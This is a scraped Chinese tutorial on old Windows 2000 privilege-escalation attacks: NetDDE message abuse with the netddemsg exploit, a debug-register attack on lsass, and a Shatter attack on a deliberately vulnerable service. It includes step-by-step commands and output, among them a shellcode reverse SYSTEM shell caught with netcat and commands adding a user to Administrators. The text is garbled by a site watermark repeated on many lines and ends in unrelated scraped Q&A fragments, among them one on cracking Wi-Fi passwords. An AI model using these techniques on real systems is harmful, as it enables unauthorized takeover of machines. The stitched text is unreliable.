cmaedu.comNetDDE Agent",是一个"NDDEAgnt"类的window class,它的功能在于协助DDE Server程序及DDE Client程序之间的数据交换。由于它由Winlogon创建,这个Window的进程就以Local System的权限运行在登录用户的Desktop上,只不过用户看不到它而已。
cmaedu.com"NetDDE Agent"还有另外一个辅助功能:当DDE Client试图连接到一个Trueted的DDE Share时,如果"NetDDE Agent"发现创建这个DDE Share的DDE Server尚未运行,它会主动启动这个Server。记住"NetDDE Agent"进程是具有Local System权限的,所以它启动Server没有一点问题。
cmaedu.com根据DilDog的研究,这个隐藏式的"NetDDE Agent"就是一个缺口(Vulerability)!还记得Window操作系统中的函数SendMessage()吗?登录用户可以利用这个函数向Desktop上的任何Window发送Message,即使这个Window不属于当前登录用户。所以黑客在以一般用户的身份登录后,可以用SendMessage()发送一个WM_COPYDATA message给"NetDDE Agent",这个Message里面同时携带着一个精心炮制的数据块作为调用参数。这个数据块包含以下内容:
1。 一个Trusted DDE Share的名字,比如说Chat$;
cmaedu.com2。 一个用于启动DDE Server的命令,如果"NetDDE Agent"发现创建Chat$的DDE
cmaedu.comServer尚未运行,就根据这个命令来启动DDE Server。但是黑客可以任选一个命 令来伪造,比如说“Net Localgroup Administrators /Add 阿猫”----这里的阿 猫已经是合法的一般用户了;
3。 一些固定不变的字节。DilDog认为是这些字节应该是随机产生的,而不应该固定不变。我个人理解这些字节是用于向"NetDDE Agent"或Network DDE DSDM证明WM_COPYDATA message是由合法程序(而不是黑客程序)发出的,所以它们应该随机变化而不让黑客轻易得到。
cmaedu.com当"NDDEAgnt"接收到WM_COPYDATA message时,它核对后会发现第三部分的字节正确无误,而且Trusted DDE Share确实存在,於是它就执行黑客命令,由于"NDDEAgnt"具有Local System权限,它可以顺利地让阿猫同志光荣地加入本地Administrator Group。
DilDog在文章中还附带了一个Exploit程序netddemsg,我接下来就在dallas上演示一下我自己是如何追随阿猫加入本地Administrators Group的:
cmaedu.com先以我的用户账号“moda”登录dallas。
cmaedu.com看看本地administrators Group有哪些成员:
D:\MyJob\securitylab\netddemsg\Debugnet localgroup administrators
cmaedu.comAlias name administrators
Comment Administrators have complete and unrestricted access to the Members
cmaedu.coma_mao
cmaedu.comAdministrator
cmaedu.comThe command completed successfully.
cmaedu.com本地administrators Group目前只有两个成员,Administrator和a_mao。试着把“moda”加入到本地administrators Group中:
cmaedu.comD:\MyJob\securitylab\netddemsg\Debugnet localgroup administrators /add moda
cmaedu.comSystem error 5 has occurred.
Access is denied.
我的权限显然不够,所以得到error 5。
cmaedu.com运行DilDog的Exploit程序,同时附带上我的黑客命令:
D:\MyJob\securitylab\netddemsg\Debugnetddemsg -s Chat$
net localgroup administrators /add moda
程序运行结束,让我们看看“moda”是否加入本地administrators Group:
D:\MyJob\securitylab\netddemsg\Debug
D:\MyJob\securitylab\netddemsg\Debugnet localgroup
cmaedu.comadministrators
cmaedu.comAlias name administrators
Comment Administrators have complete and unrestricted
access to the
Members
cmaedu.coma_mao
Administrator
cmaedu.commoda
cmaedu.comThe command completed successfully.
cmaedu.comD:\MyJob\securitylab\netddemsg\Debug
我也光荣地加入了本地administrators Group
利用Windows 2000/Intel中的Debug Register来提升权限:
cmaedu.com我是在Georgi Guninski的个人网站)上看到这篇文章:
“Elevation of Privileges with debug registers on Win2k”,介绍如何利用Intel X86中的Debug Register来获取Local Administrator的权限。我的运气不太好,用文章中的Exploit程序Pipe3试了几次也不能成功,不过觉得利用Debug Register来攻击是个新的思路,所以就在这里顺便介绍一下。
Intel X86的Debug Register(DR0-DR7寄存器)是所有进程共用的。也就是说,你在一般用户进程中下一个绊子(就是设置一个断点),没准会把某个系统进程或者服务进程(Service)绊一跤;这一跤要是把系统/服务进程摔垮了,导致它停止执行的话,你没准就可以伪造该进程的Named Pipe;然后当有其它进程企图通过Named Pipe与垮掉的系统/服务进程联络时,黑客就可以利用函数ImpersonateNamedPipeClient来窃取其它进程的权限----这很可能就是Local SSystem的权限。
cmaedu.com文章中的Exploit程序Pipe3(请从网下载)就是按照这个思路设计的:它要整垮的进程是lsass,所以必须先找几个lsass进程将要运行的指令的地址,以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路,我们才好在那条路上设绊脚石);然后Pipe3以一般用户的权限运行程序Calc(计算器),并在其中设置断点,因为这断点的地址是在lsass运行的途径上,所以它们并不会影响Calc进程;过不了多久lsass就会有报告“SingleStep Exception”并让你选择是中断lsass运行还是Debug lsass进程;选择中断lsass以便关闭lsass拥有的Named Pipe----\ '5c.\pipe\lsass",这样Pipe3就可以伪造一个同名的Named Pipe;。。。。。。这以后的几步我想就不用重复了,大家都应该清楚。下面说说我Exploit的情况:
cmaedu.com先用WinDbg找到lsass可能要运行的指令地址,lsass有多个Thread,我从不同Thread的ESP寄存器中找了几个地址。然后以我的一般用户名“moda”登录dallas。最后让Pipe3在这些地址分别设断点,总有那么一个地址会成功地中断lsass程,并且产生一个Warning对话框(Dialog Box)报告“SingleStep Exception”。当我选择中断进程后,lsass退出执行,Pipe3报告“LSA died!”:
D:\MyJob\securitylab\pipe3\Debugpipe3
cmaedu.comFun with debug registers. Written by Georgi Guninskivvdr started: lsasspid=240 breakp=5ffebc
cmaedu.comLSA died!
Stop writing to pipe
cmaedu.comstart \\.\pipe\lsass
cmaedu.comFailed to create named pipe:
cmaedu.com\\.\pipe\lsass
cmaedu.com由于lsass是重要的系统进程,它的终止运行将使系统在一分钟内自动Shutdown。另外我们注意到,\\.\pipe\lsass并没有成功地创建。为什么呢?我抢在系统Shutdown之前运行了一下Pipelist:
D:\MyJob\securitylab\pipe3\Debugpipelist
cmaedu.comPipeList v1.01
cmaedu.comby Mark Russinovich
Pipe Name Instances Max Instances
InitShutdown 2 -1
lsass 2 -1
cmaedu.comntsvcs 49 -1
cmaedu.comscerpc 2 -1
net\NtControlPipe1 1 1
DhcpClient 1 -1
net\NtControlPipe2 1 1
很奇怪,虽然lsass进程终止运行,但是它的Named PPipe还在----这大概是Pipe3没能创建“\\.\pipe\lsass”的原因。由于时间的关系,我没能深入研究这个问题,不过哪位朋友要是用Pipe3成功地实现Exploit的话,不要忘记告诉我一声!
cmaedu.com不过话又说回来,这种利用Debug Register来终止lsass进程的方法----即使成功的话,也太暴露了:整个系统居然会Shutdown!任何一个傻瓜管理员都会发现有黑客入侵。这大概是黑客中的业余水平。好一点的黑客要做到“轻轻的我走了,正如我轻轻的来”,要象伟大的诗人兼武林高手徐自摩那样施展一把轻功,让傻瓜管理员根本发现不了,当然耳朵厉害的管理员还是会发现的----“谁?有黑客!抓黑客!”。水平达到最高境界的黑客应该是能够羚羊挂角、踏雪无痕的,这就不是我能评论的了。
利用Win32 API的设计缺陷提升权限:
cmaedu.com几个星期以前我在计算机安全网站上看到两篇新发表的文章:、,作者是Chris
Paget(网名Foon),我建议大家去下面的网址读一下他的原著:
这两篇文章详细地介绍了如何利用Win32 API的一个设计缺陷来提升普通用户的权限。我们前面也提到,普通用户的进程可以向他/她的Desktop上任何Window发送Message,让目标Window执行用户指定的操作,比如说COPY/PASTE(拷贝/沾贴)、定时运算(Timer)等等。这个Window可能属于用户自己,也可能属于Local System(象"NetDDE Agent")----这样问题就来了:
---- 普通用户如你我他她它(比尔盖茨说狗也可能上网的,所以我们要算上“它”)在他的Desktop上先找到一个属于Local System的Window,我们给这个Window起一个名字叫WINDOWXYZ,这个WINDOWXYZ上最好有能接收沾贴内容的Control(比如说 EDIT);
---- 用户可以把黑客码用“WM_PASTE”(Message之一)沾贴到WINDOWXYZ的Control里;
---- 用户找到被沾贴的黑客码在WINDOWXYZ进程中的地址;
---- 用户然后发送“WM_TIMER”(Message之二)给WINDOWXYZ,同时把黑客码地址作为参数一并传给WINDOWXYZ,WINDOWXYZ於是执行定时运算,开始运行黑客码。这些 黑客码是以Local System的权限运行的,所以普通用户的权限被成功地提升。
---- 实际上,根据FOON的文章,即使普通用户在其Desktop上找不到属于Local System的Window,他也有办法提升权限:他可以利用Tool Help函数得到属于 Local System的进程及其Thread,只要其中任何一个Thread能处理Window的Message,用户就可以用函数PostThreadMessage()向这个属于Local System的Thread发送Message,然后就。。。如此这般。。。地提升权限。不过我没有时间 亲手试验过这种方法。
这两篇文章引起了很大的反响,其中最引人注意的是Microsoft的答复,Micorsoft说这种方法老早就有人提出来了,Nothing New!又说根本就不应该在普通用户的Desktop上创建属于Local System的Window,编程序的人应该避免这样的设计。但实际上隐藏式的窗口"NetDDE Agent"就出自于Microsoft的设计,它属于Local System但是却运行在登录用户的Desktop上,看来Microsoft是知法犯法啊!
cmaedu.com我觉得这个缺陷就象不安全的函数strcpy一样,C语言在实现strcpy函数时有漏洞(函数返回地址、函数堆栈栈底地址等系统管理信息与缓冲区分配在一块,缓冲区的溢出就会覆盖系统管理信息),於是大家寄希望于程序员能够避免使用函数strcpy。现在Microsoft也承认在普通用户的Desktop上创建一个Window是危险的,所以它也寄希望于大家编程时避免使用这样的设计。
下面我专门编写了一个服务进程“SimpleService”来演示一下Microsoft的这个设计缺陷。SimpleService以Local System的权限运行,它打开一个Named Pipe然后等待Named Pipe Client与它联络;普通用户接着登录计算机并运行程序“Client”,“Client”是一个Named Pipe Client;它向SimpleService的Named Pipe随便写一些字节,於是SimpleService就在登录用户的Desktop上产生一个对话窗口(Dialog Box)。普通用户最后利用FOON的攻击程序Shatter攻击这个对话窗口来获得“Local System”的权限。
cmaedu.com因为SimpleService程序太长,所以我只节选了关键的部分让大家参考:
cmaedu.com====================SimpleService====================
#define SZAPPNAME _T("Simple")
cmaedu.com#define SZSERVICENAME _T("SimpleService")
#define SZSERVICEDISPLAYNAME _T("Simple Service")
#define SZDEPENDENCIES _T("")
cmaedu.comtypedef struct DLGPARAM{
UINT numOfHit;
cmaedu.comTCHAR *msg;
cmaedu.com} DlgParam;
cmaedu.com// internal function prototypes
cmaedu.comstatic BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
cmaedu.com// SimpleService.cpp : Defines the entry point for the
application.
HINSTANCE hAppInstance;
DlgParam m_dlgParam;
cmaedu.comint APIENTRY WinMain(HINSTANCE hInstance,
cmaedu.comHINSTANCE hPrevInstance,
cmaedu.comLPSTR lpCmdLine,
cmaedu.comint nCmdShow)
cmaedu.comvoid WINAPI service_main()
VOID WINAPI service_ctrl(DWORD dwCtrlCode)
BOOL WINAPI ControlHandler ( DWORD dwCtrlType )
HANDLE hServerStopEvent = NULL;
cmaedu.comVOID ServiceStart ()
hPipe = CreateNamedPipe(
cmaedu.comlpszPipeName , // name of pipe
cmaedu.comFILE_FLAG_OVERLAPPED
cmaedu.comPIPE_ACCESS_DUPLEX, // pipe open mode
PIPE_TYPE_MESSAGE
PIPE_READMODE_MESSAGE
PIPE_WAIT, // pipe IO type
cmaedu.com1, // number of instances
cmaedu.com0, // size of outbuf
file://(0 == allocate as necessary)
0, // size of inbuf
1000, // default time-out value
cmaedu.comsa); // security attributes
while ( 1 )
ConnectNamedPipe(hPipe, os);
bRet = ReadFile(
cmaedu.comhPipe, // file to read from
szIn, // address of input buffer
sizeof(szIn), // number of bytes to read
cmaedu.comcbRead, // number of bytes read
cmaedu.comos); // overlapped stuff, not needed
_stprintf(szOut, _T("Please check the Dialog Box"));
cmaedu.com_stprintf(szOut1, _T("Eacho Back! [%s]"), szIn);
bRet = WriteFile(
cmaedu.comhPipe, // file to write to
cmaedu.comszOut, // address of output buffer
cmaedu.comsizeof(szOut), // number of bytes to write
cbWritten, // number of bytes written
os); // overlapped stuff, not needed
DisconnectNamedPipe(hPipe);
m_dlgParam.numOfHit++;
m_dlgParam.msg = szOut1;
在登录用户的Desktop上创建一个窗口
int result = DialogBoxParam(hAppInstance,
MAKEINTRESOURCE(IDD_SVCMSG),
NULL,
cmaedu.com(DLGPROC) DialogProc,
(LPARAM) m_dlgParam);
cmaedu.comcleanup:
VOID ServiceStop()
if ( hServerStopEvent )
SetEvent(hServerStopEvent);
cmaedu.com#define SIZEOFBUF 40
cmaedu.comWindow的Message Handler
BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
cmaedu.comDlgParam* l_pDlgParam = (DlgParam*) lParam;
cmaedu.comCHAR tempBuf[SIZEOFBUF];
cmaedu.comswitch (uMsg)
case WM_INITDIALOG:
cmaedu.comHWND hNumVisit = GetDlgItem(hwnd, IDC_NUMHIT); /*限定Edit Control的尺寸(Size)为3*/
cmaedu.comSendMessage( hNumVisit, EM_LIMITTEXT, (WPARAM) 3,
(LPARAM)0);
_itoa(l_pDlgParam-numOfHit, tempBuf,10);
SendMessage(hNumVisit, WM_SETTEXT, (WPARAM)
0,(LPARAM)tempBuf);
cmaedu.comHWND hMsg = GetDlgItem(hwnd, IDC_MSG);
cmaedu.com/*限定Edit Control的尺寸(Size)为40*/
cmaedu.comSendMessage( hMsg, EM_LIMITTEXT, (WPARAM) SIZEOFBUF,
cmaedu.com(LPARAM)0);
cmaedu.comSendMessage( hMsg, WM_SETTEXT, (WPARAM) 0,
(LPARAM) l_pDlgParam-msg );
SetForegroundWindow(hwnd);
cmaedu.comreturn FALSE;
case WM_COMMAND:
cmaedu.comswitch (LOWORD(wParam))
case IDC_OK:
cmaedu.comEndDialog(hwnd, IDC_OK);
return FALSE;
default:
cmaedu.comreturn FALSE;
return FALSE;
cmaedu.com下面是程序Client.c,非常简单,它的功能仅仅是向“\\.\pipe\simple”发送几个字节:
=======================Client========================
// client.cpp : Defines the entry point for the console
cmaedu.comapplication.
cmaedu.com#include
cmaedu.com#include
#include
cmaedu.com#include
int main(int argc, char* argv[])
cmaedu.comchar inbuf[80];
char outbuf[80];
DWORD bytesRead;
BOOL ret;
LPSTR lpszPipeName = "\\\\.\\pipe\\simple";
cmaedu.comLPSTR lpszString = "World";
strcpy( outbuf, lpszString );
ret = CallNamedPipeA(lpszPipeName,
cmaedu.comoutbuf, sizeof(outbuf),
cmaedu.cominbuf, sizeof(inbuf),
bytesRead, NMPWAIT_WAIT_FOREVER);
if (!ret) {
cmaedu.comprintf("client: CallNamedPipe failed for %d\n",
GetLastError());
cmaedu.comexit(1);
cmaedu.comprintf("client: received: %s\n", inbuf);
return 0;
FOON编写了一个攻击工具Shatter,大家可以参考他的文章来使用这个工具,而且他的网站上还有Shatter的源程序。这个程序专门攻击象SimpleService这样会创建Window的服务进程,它首先把Window中Edit Control的尺寸(Size)扩大,然后把可执行的黑客码沾贴到Edit中,这样就把黑客码拷贝到这个Window进程的内存中了----很Cool吧!接下来我们就要寻找黑客码在内存中的地址,FOON是用Windbg去寻找这个地址的,详情请参考他的文章。最后Shatter向Window进程发送一个定时执行Message----“WM_TIMER”,迫使Window进程执行刚才拷贝进去的黑客码。这个黑客码是根据jill的黑客码改编而成,它产生一个远程的cmd shell联结回到Client机器上,所以我们可以用鼎鼎有名的netcat程序与它联络。
我现在来演示一下使用Shatter攻击SimpleService的过程,看看普通用户“moda”是如何通过Shatter提升权限的:
先以普通用户“moda”登录,看看本地Administrators组当前的成员:
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
D:\MyJob\tool\netcatnet localgroup administrators
Alias name administrators
cmaedu.comComment Administrators have complete and unrestricted access to the Members
Administrator
cmaedu.comThe command completed successfully.
cmaedu.com本地Administrators组只有Administrator一个成员。我们试一下能不能把“moda”加入到本地Administrators组。
D:\MyJob\tool\netcatnet localgroup administrators /add moda
cmaedu.comSystem error 5 has occurred.
cmaedu.comAccess is denied.
很惨呀,得了一个“Access is denied.”的错误。
下面运行程序Client,向SimpleService发送几个字节,於是SimpleService在普通用户“moda”的Desktop上产生一个对话框:
cmaedu.com这个对话框上有两个Edit Controls,一个对应着“Number Of Hit”,这里输出SimpleService的Named Pipe被访问的次数;一个对应着“Message Back”,这里输出SimpleService的Message。这两个Edit都可以被攻击利用,不过我这里以“Message Back”的Edit为例。让我们运行FOON的攻击程序Shatter:
cmaedu.com第一步:我们需要扩大Edit的尺寸(Size)。大家从SimpleService的源程序中可以看到,“Message Back”的Edit只允许40个char,而jill的黑客码显然超过了这个长度,所以我们就通过Shatter向这个Edit的柄Handler发送EM_SETLIMITEXT,把它的尺寸扩大到0xffffffff(见下图)。
cmaedu.com第二步:把FOON改编的jill黑客码拷贝到Clipboard上,然后往Edit发送WM_PASTE,你可以看到Edit中马上堆积了一长串乱七八糟的字符,这就是jill黑客码。
cmaedu.com第三步:利用Windbg去寻找jill黑客码在Window内存中的地址,这个过程FOON已经讲得很清楚了,所以就不用我罗嗦了。在dallas上我得到的地址是在0x1389c0附近。
cmaedu.com第四步:另外打开一个Dos窗口运行netcat,我们准备与打入敌营的侦察兵jill联络:
cmaedu.comD:\MyJob\tool\netcat
cmaedu.comD:\MyJob\tool\netcatnc -lp 123
cmaedu.com第五步:向Edit发送WM_TIMER,让Window进程跳去执行从0x1389c0开始的黑客码。你马上就能看到netcat开始收到了jill发回来的内容,它输出一些版权信息。
D:\MyJob\tool\netcat
D:\MyJob\tool\netcatnc -lp 123
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
第六步: 现在你就可以通过netcat与Window进程中的cmd Shell联系,可以向它发送命令,从它那里得到命令运行结果。这个cmd Shell具有Local System的权限,所以我们可以轻易地把普通用户“moda”加入到本地Administrators组中:
cmaedu.comD:\WINNT\system32net localgroup administrators /add moda
net localgroup administrators /add moda
The command completed successfully.
D:\WINNT\system32net localgroup administrators
net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the Members
Administrator moda
cmaedu.comThe command completed successfully.
cmaedu.comD:\WINNT\system32
D:\WINNT\system32
cmaedu.com以上就是我演示Microsoft这个缺陷的过程,虽说我有意把SimpleServic设计得易于黑客攻击,但实际上还有不少的流行的程序也是犯了同样的错误,象FOON文章中提及的Network Associates VirusScan v4.5.1, 还有我最喜欢用的WinVNC等等,它们都在普通用户的Desktop上创建了一个具有Local System权限的Window。
cmaedu.com
cmaedu.com那是因为,黑客帝国剧本受到很多科幻小说的影响,比如神经漫游者
cmaedu.com这些小说都提到电脑世界的侦察兵,起名叫雷达,探针还是什么,记不清了,这些名字直接翻译成英文的话,就是乌贼的意思,所以黑客帝国设计人物的时候,干脆就直接设计成乌贼的形象,这在黑客帝国花絮里,导演有详细的说明
cmaedu.com兵种和任务区别:
特种兵是个笼统的概念:执行特种作战任务的士兵都是广义的特种兵。
比如反恐作战部队,海军陆战队,空降兵,侦察兵,高级警卫部队,网络战中的黑客也是特种兵(技术宅也有成为特种兵的潜质)。特种兵整体覆盖全天候作战,但又有不同分工。
cmaedu.com而特警主要是执行严重暴力、劫持、绑架、涉枪、爆炸、反恐等一些列的危险任务,以打击犯罪为主,通常以城市战居多,不涉及两栖作战、伞降等任务。特警在反恐中、侦察中、警卫任务中确实和特种兵会有一些任务交集。
区别:
特警使用的单兵装备通常比普通士兵先进一些。大多数特警采用黑色或深蓝色等暗色的战斗服,因为执行任务时有切断电源的可能性,所以暗色的战斗服在黑暗中或光线不足时是最好的伪装。
cmaedu.com特警多采用多功能的战术背心作为其装备附具一种能将大部分装备整合穿戴在身上的一种战斗装备,与普通军警人员的装备有明显的不同。
求教游戏发展国怎么转职?详细解答一下 1、硬件工程师也升满后可解锁并转职为超级黑客,游戏中的顶级职业。然后是转职方法,需要使用道具转职书,获取途径是每年5月2周来访的道具商人。遇见道具商人后,请尽量买...
洪恩思维破解版是真的吗 是。洪恩识字是一款非常实用的早教软件,上面不仅有着十分科学的学习方法以及认字教程,还能够让孩子在最快乐的情况下学会语文基础,还创造性的将动画游戏与学习教育结合在一起。洪恩识字破...
象棋江湖残局的名字有哪些? 七星聚会、野马操田、蚯蚓降龙 ,大征西。为江湖四大残局;还有神龟出洛、鸳鸯戏水、颠猿饮涧、独鹿泽、千里独行、如牛负重、退闲式步、极巧穷奇、火烧连营,大征东、大九连环,大鹏展...
怎样用wifi万能钥匙破密码 你先要下载一个Wi-Fi的万能钥匙,然后连接上之后,就会显示你周围可以连接的Wi-Fi了,如果密码特别简单的那么就可以自动破解。如何破不吉利的梦口诀 梦我们经常做到,有些...
有没有可以永久使用的免费AE软件? 不用付费全部免费的软件排行火山直播火山直播APP是一款直播平台的软件,这款软件能够提供很多直播的信息,为大家提供美颜的功能,还能够提供各种不同的礼物,为大家提供平台...
上军校不能用电脑吗? 不是的,军校中本来就有大量的电脑,而且还有多媒体教学研究室等,怎么会不可以用电脑呢?禁止学员私自未经批准允许自购电脑,主要是为了防止泄密而已。其次就是便于统一管理,如果人人都有电...